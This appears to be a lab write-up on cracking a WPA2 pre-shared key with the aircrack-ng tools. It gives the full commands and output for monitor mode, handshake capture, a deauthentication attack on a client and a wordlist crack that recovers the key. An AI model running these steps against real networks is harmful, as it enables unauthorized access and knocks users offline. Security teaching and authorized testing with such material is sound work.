

## **Project 6- WPA2 password cracking**

***Step 1 - Start the wireless interface in monitor mode***

**airmon-ng**

**Interface Chipset Driver**

**rausb0 Ralink RT73**

**rt73 wlan0 Broadcom b43 - [phy0]**

**wifi0 Atheros madwifi-ng**

**ath0 Atheros madwifi-ng VAP (parent: wifi0)**

**Step 1a - Setting up madwifi-ng**

**airmon-ng stop ath0**

**Interface Chipset Driver**

**wifi0 Atheros madwifi-ng**

**ath0 Atheros madwifi-ng VAP (parent:  
wifi0) (VAP destroyed)**

**Enter “iwconfig” to ensure there are no  
other athX interfaces.**

**lo no wireless extensions.**

**eth0 no wireless extensions.**

**wifi0 no wireless extensions.**

**Now, enter the following command to  
start the wireless card on channel 9 in  
monitor mode:**

**airmon-ng start wifi0 9**

## **Interface Chipset Driver**

**wifi0 Atheros madwifi-ng**

**ath0 Atheros madwifi-ng VAP (parent:  
wifi0) (monitor mode enabled)**

**lo no wireless extensions. wifi0 no  
wireless extensions. eth0 no wireless  
extensions. ath0 IEEE 802.11g ESSID:""  
Nickname:"" Mode:Monitor**

**Frequency:2.452 GHz Access Point:  
00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-  
Power:18 dBm Sensitivity=0/3 Retry:off  
RTS thr:off Fragm**

**ent thr:off Encryption key:off Power  
Management:off Link Quality=0/94 Signal  
level=-95 dBm Noise level=-95 dBm Rx  
invalid nwid:0 Rx invalid crypt:0 Rx  
invalid frag:0 Tx excessive retries:0  
Invalid misc:0 Missed beacon:0**

## **Step 1b - Setting up mac80211 drivers**

**airmon-ng start wlan0 9**

**The system responds:**

**Interface Chipset Driver**

**wlan0 Broadcom b43 - [phy0] (monitor mode enabled on mon0)**

**Step 2 - Start airodump-ng to collect authentication handshake**

**airodump-ng -c 9 --bssid  
00:14:6C:7E:40:80 -w psk ath0**

**Step 3 - Use aireplay-ng to deauthenticate the wireless client**

**aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0**

**11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]**

**Step 4 - Run aircrack-ng to crack the pre-shared key**

**aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk\*.cap**

**Opening psk-01.cap Opening psk-02.cap  
Opening psk-03.cap Opening psk-04.cap  
Read 1827 packets.**

**# BSSID ESSID Encryption 1  
00:14:6C:7E:40:80 teddy WPA (1  
handshake) Choosing first network as  
target.**

**Aircrack-ng 0.8**

**[00:00:00] 2 keys tested (37.20 k/s)**

**KEY FOUND! [ 12345678 ]**

**Master Key : CD 69 0D 11 8E AC AA C5**

**C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A**

**72 82 38 ED C3 7E 2C 59 5E AB FD**

**Transcient Key : 06 F8 BB F3 B1 55 AE**

**EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0**

**FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF**

**1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5**

**4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93**

**27 66 66 E0 71 EAPOL HMAC : 4E 27 D9**

**5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB**